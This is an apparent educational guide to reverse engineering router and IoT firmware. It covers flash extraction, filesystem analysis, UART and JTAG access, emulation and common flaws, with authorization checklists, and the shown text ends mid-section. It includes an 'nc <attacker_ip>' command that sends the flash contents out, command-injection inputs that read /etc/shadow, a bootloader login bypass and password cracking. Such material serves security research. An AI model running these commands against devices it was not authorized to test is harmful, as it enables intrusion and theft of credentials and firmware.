For graph and advanced features, download the full Intel Codex Vault and open it in Obsidian.
Firmware Reverse Engineering
Authorized environments only. Guide to extracting, analyzing, and exploiting firmware from embedded devices (routers, IoT devices, cameras, smart-home devices) for security research and vulnerability discovery. Operate on hardware/images you own or have written authorization to test; observe DMCA §1201 limits. See Legal & Ethics.
Table of Contents
- Overview
- Pre-Engagement & Authorization
- Firmware Acquisition
- Firmware Analysis
- Filesystem Extraction
- Binary Analysis
- Hardware Interfaces
- Emulation & Dynamic Analysis
- Common Vulnerabilities
- Exploitation Techniques
- Tools Reference
Overview
What is Firmware?
Firmware is software embedded in hardware devices that controls device functionality. Unlike desktop software, firmware:
- Runs on resource-constrained embedded processors (ARM, MIPS, PowerPC)
- Often uses custom Linux distributions (embedded Linux, BusyBox)
- May use Real-Time Operating Systems (RTOS) or bare-metal code
- Stored in non-volatile memory (flash, EEPROM, ROM)
Common embedded devices:
- Network devices: Routers, switches, access points, firewalls
- IoT devices: Smart cameras, door locks, thermostats, light bulbs
- Industrial control: PLCs (Programmable Logic Controllers), SCADA systems
- Consumer electronics: Smart TVs, set-top boxes, printers
- Automotive: Car infotainment systems, ECUs (Engine Control Units)
Why Reverse Firmware?
Security research:
- Discover vulnerabilities (command injection, authentication bypass, hardcoded credentials)
- Analyze encryption implementations
- Understand attack surface before pentesting
Compatibility & interoperability:
- Reverse proprietary protocols
- Enable third-party firmware (OpenWrt, DD-WRT)
Forensics:
- Recover deleted data from devices
- Analyze malware on IoT devices
- Incident response for compromised embedded systems
Threat Model
Attacker capabilities:
- Remote attacker: Network access only (web interface, network services)
- Local network attacker: LAN access (MITM, spoofing)
- Physical access: UART/JTAG debugging, firmware extraction, hardware modification
- Insider threat: Supply chain attacks, malicious firmware updates
Common attack vectors:
- Unauthenticated web interfaces
- Default/hardcoded credentials
- Command injection in web parameters
- Buffer overflows in network services
- Insecure firmware update mechanisms
Legal & Ethical Considerations
Legal risks:
- DMCA Section 1201 (US): Prohibits circumventing access controls (encryption, code signing)
- CFAA: Unauthorized access to computer systems
- Warranty void: Hardware modification may void warranties
- Responsible disclosure: Report vulnerabilities to vendors before public disclosure
Ethical guidelines:
- ✅ Security research on devices you own
- ✅ Responsible vulnerability disclosure (CVE, vendor coordination)
- ✅ Improving device security (custom firmware, patches)
- ❌ Attacking devices you don't own without authorization
- ❌ Weaponizing vulnerabilities for malicious purposes
Pre-Engagement & Authorization
Firmware reverse engineering can permanently damage hardware (chip-off extraction, voltage glitching, decapsulation) and can cross statutory access-control lines (DMCA §1201, CFAA) before a single binary is loaded into a disassembler. Treat bench setup and the authorization paper trail as part of the engagement, not as paperwork done after the fact. The ### Legal & Ethical Considerations block under §Overview captures the field-specific reminders; this section is the engagement-start checklist.
Authorization Checklist
- Target hardware is your own property, a vendor-issued sample covered by a signed agreement, or in scope for a bug-bounty / VDP that explicitly permits firmware extraction and reversing.
- Destructive vs. non-destructive techniques scoped in writing — chip-off desoldering destroys the device; in-circuit SOIC clip reads are non-destructive but a stray write or shorted VCC can brick the board. Sacrificial donor unit on hand for any non-zero brick risk.
- SPI / I2C / JTAG / SWD / UART probing authorized; voltage glitching, EM fault injection, and chip decapsulation explicitly called out (or excluded) since they can permanently damage hardware and trip tamper sensors.
- DMCA §1201 security-research exemption applicability reviewed for US work — confirm the current Library of Congress triennial-cycle exemption is in effect (most recent renewal was the 2024 cycle [verify 2026-04-26]). CFAA boundary respected (your own devices fine; third-party devices without authorization → consult counsel).
- FCC Part 15 / CE / national equivalents acknowledged if any test step involves RF transmission, signal injection, or modified-emission devices coming up unexpectedly during boot.
- Supply-chain handling agreed: extracted firmware blobs, encryption keys, and signing material are not redistributed without vendor authorization or a clear DMCA exemption.
- Disclosure pathway (vendor PSIRT, ICS-CERT / CISA for OT and medical devices, platform triage) identified before reversing reveals exploitable findings.
- Jurisdictional and licence framing — see Legal & Ethics; do not re-derive here.
Lab Environment Requirements
- Dedicated ESD-safe bench: wrist strap, anti-static mat, grounded soldering iron and hot-air station kept separate from shared workspaces.
- Flasher and probe rig pre-tested on a sacrificial board before touching the target — typical kit: CH341A (3.3V SPI; 1.8V chips need a level shifter or a 1.8V variant rig), Bus Pirate, Saleae or DSLogic logic analyzer, J-Link / Black Magic Probe / ST-Link for SWD, FlashcatUSB or XGecu T48 / T56 for wider chip support [verify 2026-04-26].
- Emulation harness pre-built for the target architecture: Firmadyne (largely unmaintained — last meaningful upstream activity ~2020 [verify 2026-04-26]) / FAT / FirmAE for MIPS and ARM Linux images,
qemu-system-{arm,mips,ppc}for kernels, unicorn / qiling for selective binary emulation. Prefer FirmAE or FAT for new work; keep Firmadyne notes for legacy comparability. - Static-analysis project pre-loaded (Ghidra, Binary Ninja, IDA Pro, or radare2) with the correct processor variant, endianness, and load address before extraction begins so triage is not blocked on tool setup.
- Extraction sandbox isolated from the host: binwalk, unblob (OnekeyLab Rust+Python rewrite [verify 2026-04-26]), sasquatch, jefferson, ubi_reader run inside a VM or container — embedded archive parsers have a long history of path-traversal and decompression-bomb issues.
- OpenOCD or probe-rs configuration drafted for the target SoC (TAP IDCODE, IR length, voltage) before clipping onto a live board; misaligned voltage can damage the SoC or the probe. probe-rs is the actively-developed Rust-native option for ARM Cortex-M and RISC-V SWD/JTAG work [verify 2026-04-26]; OpenOCD remains the broader-architecture default.
- RF-bearing devices handled in a Faraday bag or shielded enclosure when transmitters can come up unexpectedly during boot or test.
Disclosure-Ready Posture
Set up evidence handling at engagement start so the report does not have to be reconstructed after the bug is found:
- Hash and timestamp the original firmware extraction immediately (
sha256sum dump.bin, store alongside extraction date, programmer model, VCC, and read-count) — re-reads taken later will diverge if the chip has wear-leveling, OTP regions, or counter-incrementing storage. - Board-photograph evidence: top and bottom of PCB, close-ups of every chip marking (manufacturer logo, part number, date code, lot code), board revision silkscreen, FCC ID / IC ID / CE marking, and the test-point / header layout used.
- Serial-console transcript captured to disk with timestamps (
tee,minicom -C, orpicocom --logfile) for any UART / U-Boot session — bootloader banners, kernel command lines, and early init output are often part of the disclosure write-up. - Vendor disclosure intake researched before reversing yields exploitable findings:
security.txt, PSIRT page, CNA scope (firmware vendors are often their own CNA), ICS-CERT / CISA for OT and medical devices, and any platform program (HackerOne, Bugcrowd, Intigriti) covering the device. - CVE reservation timeline drafted; if the bug touches multiple vendors (shared SDK, common Linux kernel CVE backport, OEM/ODM rebrand), embargo coordination scoped through the relevant CNA early.
- Evidence chain-of-custody logged per Collection Log; final report packaging, IOC defanging, and embargo communications follow Reporting, Packaging & Disclosure. OPSEC for tooling, accounts, and lab traffic per OPSEC Plan.
Firmware Acquisition
Method 1: Download from Vendor Website
Easiest method - many vendors provide firmware updates for download.
Finding firmware:
# Google search:
site:vendor.com "firmware update" "download"
# Example (TP-Link router):
# https://www.tp-link.com/us/support/download/
# Download firmware:
wget https://static.tp-link.com/...firmware.bin
# Verify hash (if vendor provides):
sha256sum firmware.bin
# Compare with vendor-provided SHA-256 hash
Firmware update file types:
.bin- Raw binary image.img- Disk image.zip/.tar.gz- Compressed archive.trx- TRX firmware format (Broadcom routers).chk- Netgear firmware format- Vendor-specific formats (encrypted or obfuscated)
Method 2: Intercept Firmware Update
If vendor doesn't provide direct download, intercept update traffic.
Setup:
# Wireshark capture during firmware update:
# 1. Start Wireshark on network interface
# 2. Filter: http or dns
# 3. Trigger firmware update from device web interface
# 4. Look for HTTP GET/POST to download URL
# Example captured URL:
# http://update.vendor.com/firmware/device_v1.2.3.bin
# Download:
wget http://update.vendor.com/firmware/device_v1.2.3.bin
HTTPS interception (if update is encrypted):
# Use Burp Suite or mitmproxy as HTTPS proxy:
# 1. Configure device to use proxy (if possible)
# 2. Install proxy CA certificate on device (if possible)
# 3. Capture firmware download URL
# If device validates certificate (common), this won't work
# Fall back to hardware extraction
Method 3: Extract from Flash Memory (Hardware)
Required when:
- Vendor doesn't provide firmware
- Firmware is encrypted during updates
- Need to analyze modified/infected firmware
Hardware required:
- Flash programmer: Bus Pirate, CH341A USB programmer, Raspberry Pi
- Chip clip or soldering iron: To connect to flash chip
- Multimeter: To identify voltage levels
Common flash memory types:
| Type | Interface | Capacity | Common Use |
|---|---|---|---|
| SPI NOR Flash (25-series) | SPI (4-8 pins) | 1-256 MB (W25Q32/64/128/256, MX25-series common in 2026) [verify 2026-04-26] | Routers, IoT |
| SPI NAND Flash | SPI (4-8 pins) | 128 MB - 4 GB | Mid-range IoT, cameras |
| Parallel NAND Flash | Parallel (8/16-bit) | 128 MB - 32 GB | Smartphones, tablets |
| eMMC | MMC interface | 4-256 GB | Android devices, embedded Linux |
| UFS | High-speed serial | 32 GB - 1 TB | Modern smartphones [verify 2026-04-26] |
| I2C EEPROM (24-series) | I2C (2 pins) | 1-512 KB | Small devices, config storage |
Extracting SPI flash (most common):
Step 1: Identify flash chip
# Open device, locate flash chip on PCB
# Common SPI flash chips: Winbond W25Q32/64/128/256, Macronix MX25L/MX25R, GigaDevice GD25Q, ISSI IS25LP, Cypress/Infineon S25FL [verify 2026-04-26]
# Example chip markings:
# Winbond
# 25Q64FVSIG
# 1234567890 (date code)
# Datasheet: Google "W25Q64 datasheet" (or matching part number)
# Pinout (SOIC-8):
# Pin 1: /CS (Chip Select)
# Pin 2: DO (Data Out / MISO)
# Pin 3: /WP (Write Protect)
# Pin 4: GND
# Pin 5: DI (Data In / MOSI)
# Pin 6: CLK (Clock)
# Pin 7: /HOLD
# Pin 8: VCC (3.3V)
Step 2: Connect flash programmer
Using CH341A USB programmer:
# CH341A wiring to SPI flash (SOIC-8):
# CH341A | SPI Flash Pin | Function
# --------- | ------------- | --------
# VCC (3.3V)| Pin 8 | Power
# GND | Pin 4 | Ground
# CS | Pin 1 | Chip Select
# MISO | Pin 2 | Data Out
# MOSI | Pin 5 | Data In
# CLK | Pin 6 | Clock
# Option 1: Use chip clip (no soldering)
# Attach SOIC-8 clip to chip while on PCB
# Option 2: Desolder chip (more reliable)
# Use hot air station or soldering iron
# Place chip in ZIF socket on CH341A programmer
Step 3: Read flash memory
# Linux: Install flashrom (distro version is often old; build from
# https://github.com/flashrom/flashrom for the latest chip database) [verify 2026-04-26]
sudo apt install flashrom
# Detect flash chip:
sudo flashrom -p ch341a_spi
# Output:
# Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on ch341a_spi.
# (If the chip is unsupported, check `flashrom -L` or the upstream supported_chips.txt)
# Read flash (3 times to verify integrity):
sudo flashrom -p ch341a_spi -r firmware1.bin
sudo flashrom -p ch341a_spi -r firmware2.bin
sudo flashrom -p ch341a_spi -r firmware3.bin
# Verify all reads are identical (compare hashes):
sha256sum firmware*.bin
# All three should have same hash; differences usually mean a flaky clip
# contact, marginal VCC, or a chip with wear-leveling/OTP that mutates on read
# Use firmware1.bin for analysis. Hash and timestamp the canonical dump
# now (see Pre-Engagement → Disclosure-Ready Posture).
# Alternative client (no flashrom support for the chip): ch341prog
# https://github.com/setarcos/ch341prog [verify 2026-04-26] — read-only operations
# are typically safer to start with than program/erase.
Using Raspberry Pi as SPI programmer:
# Enable SPI on Raspberry Pi:
sudo raspi-config
# Interfacing Options → SPI → Enable
# Wiring (Raspberry Pi GPIO to SPI flash):
# RPi GPIO | SPI Flash Pin | Function
# --------- | ------------- | --------
# Pin 1 (3.3V) | Pin 8 | Power
# Pin 6 (GND) | Pin 4 | Ground
# Pin 24 (CE0) | Pin 1 | Chip Select
# Pin 21 (MISO)| Pin 2 | Data Out
# Pin 19 (MOSI)| Pin 5 | Data In
# Pin 23 (SCLK)| Pin 6 | Clock
# Read flash:
sudo flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=1000 -r firmware.bin
Method 4: UART/Serial Console Extraction
If device has UART debug console, you may be able to dump firmware.
# Connect to UART (see Hardware Interfaces section)
# Common UART commands (BusyBox/Linux):
# Dump entire flash partition:
dd if=/dev/mtd0 | nc <attacker_ip> 1234
# On attacker machine:
nc -l -p 1234 > firmware.bin
# Or use base64 encoding (if binary transfer fails):
dd if=/dev/mtd0 | base64
# Copy output, decode on attacker machine:
base64 -d > firmware.bin
Firmware Analysis
Initial Triage
Determine firmware type and architecture:
# File type detection:
file firmware.bin
# Output examples:
# - "data" (raw binary, compressed, or encrypted)
# - "ELF 32-bit LSB executable, ARM" (Linux kernel or application)
# - "gzip compressed data" (compressed filesystem)
# - "Squashfs filesystem" (embedded filesystem)
# Binwalk: Identify embedded files/filesystems
binwalk firmware.bin
# Output:
# DECIMAL HEXADECIMAL DESCRIPTION
# --------------------------------------------------------------------------------
# 0 0x0 TRX firmware header
# 28 0x1C LZMA compressed data
# 1048576 0x100000 Squashfs filesystem, little endian, version 4.0
# 5242880 0x500000 JFFS2 filesystem, little endian
# Entropy analysis (detect encryption):
binwalk -E firmware.bin
# High entropy (close to 1.0) = encrypted or compressed
# Low entropy = uncompressed data
# Strings analysis (look for clues):
strings firmware.bin | grep -i "version\|copyright\|password\|root"
Identify architecture:
# Look for ELF binaries in firmware (after extraction):
file bin/busybox
# Output: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1
# Common embedded architectures:
# - ARM (32-bit: ARMv7, 64-bit: ARMv8/AArch64)
# - MIPS (32-bit: MIPS32, 64-bit: MIPS64)
# - PowerPC (PPC)
# - x86/x64 (less common in embedded)
Firmware Unpacking
Automated unpacking with binwalk:
# Extract all embedded files/filesystems:
binwalk -e firmware.bin
# Output directory: _firmware.bin.extracted/
# Contains extracted filesystems, compressed data, etc.
# Navigate to extracted filesystem:
cd _firmware.bin.extracted/squashfs-root/
ls -la
# Output: bin/ etc/ lib/ sbin/ usr/ var/ www/
Modern alternative — unblob (OnekeyLab):
# unblob is a Rust+Python rewrite focused on accuracy, parallelism, and
# bounded extraction. Useful when binwalk mis-segments a container or
# silently drops a chunk. [verify 2026-04-26]
# https://github.com/onekey-sec/unblob
pipx install unblob
unblob -k -e extracted/ firmware.bin
# -k keeps intermediate carved blobs, -e sets the extraction root.
# Run inside a VM/container — same parser-attack-surface caveats as binwalk.
Manual unpacking (if binwalk fails):
# Example: SquashFS at offset 0x100000
# Extract with dd and unsquashfs:
dd if=firmware.bin bs=1 skip=$((0x100000)) of=filesystem.squashfs
unsquashfs filesystem.squashfs
# Output: squashfs-root/
# Example: JFFS2 filesystem
dd if=firmware.bin bs=1 skip=$((0x500000)) of=filesystem.jffs2
# Mount JFFS2 (requires mtd-utils):
sudo modprobe mtdblock
sudo modprobe mtdram total_size=32768 erase_size=256
sudo dd if=filesystem.jffs2 of=/dev/mtdblock0
sudo mount -t jffs2 /dev/mtdblock0 /mnt/jffs2
Handling encrypted firmware:
# Encryption detection:
binwalk -E firmware.bin
# High entropy across entire file = likely encrypted
# Decryption strategies:
# 1. Find decryption key in device memory (UART shell, if available)
# 2. Reverse firmware update process (find decryption routine in bootloader/updater)
# 3. Extract key from device flash (may be stored separately)
# 4. Hardware attacks (fault injection, side-channel analysis)
# Example: Find AES key in memory dump
strings memory_dump.bin | grep -E "^[0-9a-fA-F]{32}$" # 128-bit AES key (hex)
Filesystem Extraction
Analyzing Extracted Filesystem
Key directories in embedded Linux:
# Navigate to extracted filesystem:
cd squashfs-root/
# Directory structure:
bin/ # Essential binaries (busybox, sh)
sbin/ # System binaries (init, ifconfig)
etc/ # Configuration files (passwd, shadow, init scripts)
lib/ # Shared libraries (libc, libpthread)
usr/ # User programs and libraries
var/ # Variable data (logs, tmp files)
www/ # Web server files (HTML, CGI scripts)
dev/ # Device files (usually empty in filesystem image)
proc/ # Process info (mounted at runtime)
tmp/ # Temporary files
Searching for Sensitive Information
Hardcoded credentials:
# Search for passwords in configuration files:
grep -r "password\|passwd\|pwd" etc/
# Common files with credentials:
cat etc/passwd # User accounts
cat etc/shadow # Password hashes (if present)
cat etc/config/* # Vendor-specific config files
# Example (TP-Link router):
cat etc/config/account
# username=admin
# password=21232f297a57a5a743894a0e4a801fc3 (MD5 hash of "admin")
# Search for API keys, tokens:
grep -r "api_key\|token\|secret" etc/ www/
Backdoor accounts:
# Check for hidden admin accounts:
cat etc/passwd | grep -v "^#"
# Example backdoor:
# debug:x:0:0:Debug User:/root:/bin/sh (UID 0 = root)
# Check for SSH authorized_keys:
find . -name "authorized_keys" -exec cat {} \;
Encryption keys:
# Search for SSL/TLS private keys:
find . -name "*.pem" -o -name "*.key"
# Example:
cat etc/ssl/private/server.key
# -----BEGIN RSA PRIVATE KEY-----
# ...
Configuration files:
# Web server config:
cat etc/httpd.conf
cat etc/lighttpd/lighttpd.conf
# Telnet/SSH config:
cat etc/inetd.conf
cat etc/dropbear/dropbear_rsa_host_key
# Wireless config (routers):
cat etc/config/wireless
# Contains WiFi passwords, security settings
Web Application Files
Analyzing web interfaces:
# Web root (common locations):
cd www/
# or
cd usr/www/
# or
cd home/httpd/
# Identify web server:
ps aux | grep httpd
# Common embedded web servers: lighttpd, boa, goahead, thttpd
# Analyze CGI scripts (common vulnerability source):
find www/ -name "*.cgi" -o -name "*.sh"
# Example CGI script:
cat www/cgi-bin/login.cgi
CGI command injection example:
# Vulnerable CGI script (login.cgi):
#!/bin/sh
USERNAME=$1
PASSWORD=$2
# Vulnerable: unsanitized input passed to system command
/usr/bin/check_password $USERNAME $PASSWORD
# Exploitation (command injection via username parameter):
# http://router.ip/cgi-bin/login.cgi?username=admin;reboot;&password=pass
# Result: Router reboots due to injected "reboot" command
Binary Analysis
Analyzing Embedded Binaries
Common binary types:
- BusyBox: Single binary with multiple utilities (ls, cat, wget, etc.)
- Custom daemons: httpd, telnetd, dropbear (SSH), etc.
- Proprietary applications: Vendor-specific services
Disassembly tools:
# For ARM/MIPS binaries, use:
# - Ghidra (supports ARM, MIPS, PowerPC)
# - IDA Pro (commercial, excellent ARM/MIPS support)
# - Radare2 (free, supports many architectures)
# Example: Analyze httpd binary in Ghidra
# 1. Load bin/httpd in Ghidra
# 2. Select architecture: ARM:LE:32:v7 (or MIPS:LE:32:default)
# 3. Analyze with default settings
Finding vulnerabilities in binaries:
1. Stack buffer overflows:
// Vulnerable code (decompiled from httpd):
void handle_request(char *request) {
char buffer[256];
strcpy(buffer, request); // No bounds checking!
process_request(buffer);
}
// Exploitation: Send request > 256 bytes to overflow buffer
2. Format string vulnerabilities:
// Vulnerable code:
void log_message(char *user_input) {
syslog(LOG_INFO, user_input); // User input directly in format string!
}
// Exploitation:
// Input: "%x %x %x %x" -> Leak stack memory
// Input: "%n" -> Write to arbitrary memory
3. Command injection:
// Vulnerable code (CGI script analysis):
void ping_host(char *ip) {
char cmd[512];
sprintf(cmd, "ping -c 1 %s", ip); // Unsanitized input!
system(cmd);
}
// Exploitation:
// Input: "8.8.8.8; cat /etc/shadow"
// Executed command: "ping -c 1 8.8.8.8; cat /etc/shadow"
Cross-Compilation for Testing
Set up cross-compiler:
# Install ARM cross-compiler (for ARM targets):
sudo apt install gcc-arm-linux-gnueabi g++-arm-linux-gnueabi
# Compile exploit:
arm-linux-gnueabi-gcc exploit.c -o exploit -static
# Install MIPS cross-compiler (for MIPS targets):
sudo apt install gcc-mipsel-linux-gnu g++-mipsel-linux-gnu
# Compile for MIPS:
mipsel-linux-gnu-gcc exploit.c -o exploit -static
Hardware Interfaces
UART (Universal Asynchronous Receiver/Transmitter)
UART is a serial debug console, often exposed on PCB test points.
Finding UART pins:
# Visual inspection:
# Look for 3-4 pins labeled: TX, RX, GND, (VCC)
# Often located near main processor or edge of PCB
# Common UART pin configurations:
# 4-pin: VCC, TX, RX, GND
# 3-pin: TX, RX, GND (most common)
# Pin identification (if not labeled):
# 1. GND: Use multimeter continuity test to ground (e.g., USB shield)
# 2. VCC: Measure voltage with multimeter (3.3V or 5V when device powered)
# 3. TX: Voltage fluctuates during boot (transmits data)
# 4. RX: Voltage stable (receives data, safe to probe)
UART connection:
# Hardware required:
# - USB-to-UART adapter (FTDI FT232, CP2102, PL2303)
# - Jumper wires
# - Multimeter (to identify pins)
# Wiring (device UART to USB adapter):
# Device TX -> Adapter RX
# Device RX -> Adapter TX
# Device GND -> Adapter GND
# (Do NOT connect VCC unless necessary - power device separately)
# Determine baud rate (common: 115200, 57600, 38400, 9600)
# Try common baud rates in minicom/screen
# Linux: Connect via screen
screen /dev/ttyUSB0 115200
# Or use minicom:
sudo minicom -D /dev/ttyUSB0 -b 115200
# Windows: Use PuTTY or TeraTerm
# Serial, COM3, 115200 baud, 8N1
UART baud rate detection (if unknown):
# Use logic analyzer or oscilloscope to measure bit timing
# Or try common rates:
for baud in 9600 19200 38400 57600 115200 230400; do
echo "Trying baud rate: $baud"
screen /dev/ttyUSB0 $baud
# Press Enter, look for readable output
# Ctrl+A, K to exit
done
UART shell access:
# Best case: Get root shell directly
# Output during boot:
# ...
# BusyBox v1.28.4 (2023-01-01 12:00:00 UTC) built-in shell (ash)
# Enter 'help' for a list of built-in commands.
#
# / # (root shell!)
# Commands to run:
cat /proc/cpuinfo # CPU architecture
cat /proc/mtd # Flash partitions
cat /proc/cmdline # Kernel boot parameters
ifconfig # Network configuration
ps aux # Running processes
cat /etc/passwd # User accounts
cat /etc/shadow # Password hashes (if readable)
# Dump firmware from UART:
dd if=/dev/mtd0 | nc <attacker_ip> 1234
Bypassing authentication (if UART is password-protected):
# Method 1: Interrupt bootloader (U-Boot)
# Power on device, press Ctrl+C or Enter repeatedly during boot
# Drop into U-Boot shell:
# U-Boot>
# Common U-Boot commands:
printenv # Show environment variables
setenv bootargs "init=/bin/sh" # Boot directly to shell (bypass init)
boot # Boot with modified parameters
# Method 2: Edit kernel cmdline
setenv bootargs "console=ttyS0,115200 init=/bin/sh"
saveenv
boot
# Method 3: Single-user mode
setenv bootargs "console=ttyS0,115200 single"
boot
JTAG (Joint Test Action Group)
JTAG is a hardware debugging interface (more powerful than UART).
JTAG capabilities:
- Full CPU control (set breakpoints, single-step execution)
- Memory read/write (dump firmware, modify RAM)
- Flash programming (write new firmware)
Finding JTAG pins:
# Common JTAG pin configurations:
# - 20-pin ARM JTAG (standard)
# - 14-pin JTAG (compact)
# - 10-pin Cortex Debug (ARM Cortex-M)
# - 5-pin JTAG (minimal: TDI, TDO, TMS, TCK, GND)
# Pin identification (if not labeled):
# Use JTAGulator (Joe Grand / Grand Idea Studio) or manual probing:
# https://github.com/grandideastudio/jtagulator [verify 2026-04-26]
# Open-source alternative: JTAGenum on Arduino / Teensy
# https://github.com/cyphunk/JTAGenum [verify 2026-04-26]
# Common pins:
# TDI - Test Data In
# TDO - Test Data Out
# TMS - Test Mode Select
# TCK - Test Clock
# TRST - Test Reset (optional)
# GND - Ground
JTAG connection (using Bus Pirate or J-Link):
# Using OpenOCD (Open On-Chip Debugger) — broadest target coverage.
# probe-rs (https://probe.rs/) is the actively-developed Rust-native
# alternative for ARM Cortex-M and RISC-V SWD/JTAG work, with a single
# `probe-rs` CLI for flashing/debugging/RTT. [verify 2026-04-26]
sudo apt install openocd
# Example config (ARM device):
# openocd.cfg:
interface jlink
transport select jtag
adapter speed 1000
jtag newtap chip cpu -irlen 4 -expected-id 0x07926041
target create chip.cpu arm926ejs -chain-position chip.cpu
# Connect:
sudo openocd -f openocd.cfg
# In another terminal (telnet to OpenOCD):
telnet localhost 4444
# OpenOCD commands:
halt # Stop CPU
reg # Show registers
mdw 0x00000000 256 # Memory dump (256 words from 0x0)
dump_image firmware.bin 0x00000000 0x800000 # Dump 8MB from flash
reset # Reset device
SPI (Serial Peripheral Interface)
See Firmware Acquisition → Extract from Flash Memory for SPI flash extraction.
Emulation & Dynamic Analysis
QEMU User-Mode Emulation
Emulate individual binaries (faster than full system emulation).
# Install QEMU user-mode:
sudo apt install qemu-user qemu-user-static
# Copy ARM/MIPS binary from firmware:
cp squashfs-root/bin/httpd .
# Run ARM binary on x86 host:
qemu-arm -L squashfs-root/ ./httpd
# -L: Specify library path (extracted filesystem)
# Run with strace (trace system calls):
qemu-arm -L squashfs-root/ -strace ./httpd
# Run MIPS binary:
qemu-mipsel -L squashfs-root/ ./httpd
Debugging with GDB:
# Run binary in QEMU with GDB server:
qemu-arm -L squashfs-root/ -g 1234 ./httpd
# In another terminal, attach GDB:
gdb-multiarch ./httpd
(gdb) target remote localhost:1234
(gdb) break main
(gdb) continue
QEMU System Emulation
Emulate entire device (router, IoT device).
# Extract kernel and filesystem from firmware:
binwalk -e firmware.bin
# Identify kernel:
file _firmware.bin.extracted/*
# Example: _firmware.bin.extracted/1C: Linux kernel ARM boot executable zImage
# Extract kernel (if compressed):
binwalk -e _firmware.bin.extracted/1C
# Run in QEMU (ARM example):
qemu-system-arm \
-M versatilepb \
-kernel vmlinux \
-initrd filesystem.cpio \
-append "root=/dev/ram console=ttyAMA0" \
-nographic
# Common QEMU machine types:
# -M versatilepb (ARM)
# -M malta (MIPS)
# -M virt (generic ARM/MIPS)
Firmadyne / FAT / FirmAE (Automated Firmware Emulation)
Firmadyne automates firmware emulation and vulnerability testing. Upstream activity has been minimal since ~2020 [verify 2026-04-26]; for new work prefer FirmAE (pr0v3rbs/FirmAE [verify 2026-04-26]) or FAT (Firmware Analysis Toolkit, see below) which both build on Firmadyne and add modern fix-ups for boot/network bring-up. Steps below remain useful for legacy comparability.
# Install Firmadyne:
git clone https://github.com/firmadyne/firmadyne.git
cd firmadyne
./download.sh # Download pre-built binaries
# Setup database:
sudo apt install postgresql
sudo -u postgres createuser -P firmadyne # Set password
sudo -u postgres createdb -O firmadyne firmware
# Import firmware database:
psql -d firmware -U firmadyne < ./database/schema
# Analyze firmware:
./sources/extractor/extractor.py -b Netgear -sql 127.0.0.1 -np -nk firmware.bin images
# Emulate firmware:
./scripts/getArch.sh ./images/1.tar.gz
./scripts/makeImage.sh 1
./scripts/inferNetwork.sh 1
./scripts/run.sh 1
# Access emulated device:
# Network: 192.168.0.1 (or as detected)
# Web interface: http://192.168.0.1/
FAT (Firmware Analysis Toolkit)
FAT is a wrapper around Firmadyne with additional features.
# Install FAT:
git clone https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit
./setup.sh
# Run analysis:
./fat.py firmware.bin
# Output:
# - Extracts firmware
# - Emulates in QEMU
# - Runs vulnerability scanners (Nmap, Nessus)
# - Generates report
Common Vulnerabilities
Authentication Bypass
Hardcoded credentials:
# Found in etc/passwd or config files:
# Username: admin
# Password: admin (or default password)
# MD5 hash in config:
# password=21232f297a57a5a743894a0e4a801fc3
# Crack with hashcat:
hashcat -m 0 -a 0 hash.txt rockyou.txt
# Result: admin
Backdoor accounts:
# etc/passwd entry:
debug:x:0:0:Debug:/root:/bin/sh
# Login via telnet/SSH:
telnet 192.168.1.1
# Username: debug
# Password: (empty or default)
Authentication logic flaws:
// Vulnerable authentication (decompiled from httpd):
if (strcmp(username, "admin") == 0) {
if (strcmp(password, stored_password) == 0) {
authenticated = 1;
}
}
// Bypass: If username != "admin", authentication check is skipped
// Exploit: Use any username except "admin" (no password needed)
Command Injection
CGI parameter injection:
# Vulnerable CGI script (/cgi-bin/ping.cgi):
#!/bin/sh
IP=$QUERY_STRING
ping -c 1 $IP > /tmp/ping.txt
cat /tmp/ping.txt
# Exploitation:
curl "http://router.ip/cgi-bin/ping.cgi?8.8.8.8;id"
# Executed command: ping -c 1 8.8.8.8;id
# Output: uid=0(root) gid=0(root) groups=0(root)
# Reverse-shell escalation (payload neutralised — defensive/educational scope):
# Same primitive as the `;id` probe above, but the injected command becomes a
# reverse-shell invocation pointing back to operator-controlled infrastructure.
# Working syntax: see HackTricks → "Reverse Shell Cheatsheet" (book.hacktricks.wiki).
# curl "http://router.ip/cgi-bin/ping.cgi?8.8.8.8;<URL-encoded reverse-shell payload>"
HTTP header injection:
// Vulnerable code:
void handle_user_agent(char *user_agent) {
char cmd[512];
sprintf(cmd, "echo %s >> /tmp/log", user_agent);
system(cmd);
}
// Exploitation (User-Agent header — neutralised; pattern only):
// The header value injects a shell metacharacter that is interpreted by the
// system() call, allowing arbitrary command execution under the httpd user.
// Working payloads: see PayloadsAllTheThings → "Command Injection".
User-Agent: test; <command of attacker's choosing>
Buffer Overflows
Stack-based overflow:
// Vulnerable code (httpd):
void process_url(char *url) {
char buffer[256];
strcpy(buffer, url); // No bounds checking
// ...
}
// Exploitation (send long URL):
# Python exploit:
payload = b"A" * 300
requests.get(f"http://router.ip/{payload}")
# Result: Crash (or RCE with proper exploit)
Insecure Firmware Updates
Unsigned firmware updates:
# Firmware update without signature verification
# Attacker can upload malicious firmware
# Exploitation:
# 1. Modify legitimate firmware (inject backdoor)
# 2. Upload modified firmware via web interface
# 3. Device installs malicious firmware
Firmware downgrade attacks:
# If device allows downgrade to older, vulnerable firmware:
# 1. Upload old firmware with known vulnerabilities
# 2. Exploit old vulnerabilities
Weak Cryptography
Hardcoded encryption keys:
# Found in binary or config:
AES_KEY = "1234567890ABCDEF1234567890ABCDEF"
# Use key to decrypt firmware or communications
Weak password hashing:
# MD5 hashed passwords (etc/shadow):
admin:21232f297a57a5a743894a0e4a801fc3:0:0::/root:/bin/sh
# Crack with hashcat:
hashcat -m 0 hash.txt rockyou.txt
Exploitation Techniques
Gaining Shell Access
Method 1: Command injection
# Find an injectable parameter (ping, traceroute, etc.) and chain a payload.
# Reverse-shell payload neutralised — defensive/educational scope.
# Working syntax (architecture-specific): HackTricks → "Reverse Shell Cheatsheet";
# Metasploit msfvenom payloads: linux/mipsle/shell_reverse_tcp,
# linux/armle/shell_reverse_tcp, etc. — match to the target ABI you've
# verified during firmware analysis.
# Operator obligation: confirm RoE permits an interactive callback before staging.
Method 2: Telnet/SSH with extracted credentials
# Found in etc/passwd:
# root:x:0:0::/root:/bin/sh
# Found in etc/shadow:
# root:$1$xyz...:0:0::/root:/bin/sh
# Crack hash or use default password
# Login via telnet:
telnet router.ip
# root / <password>
Method 3: UART shell
# Connect to UART (see Hardware Interfaces section)
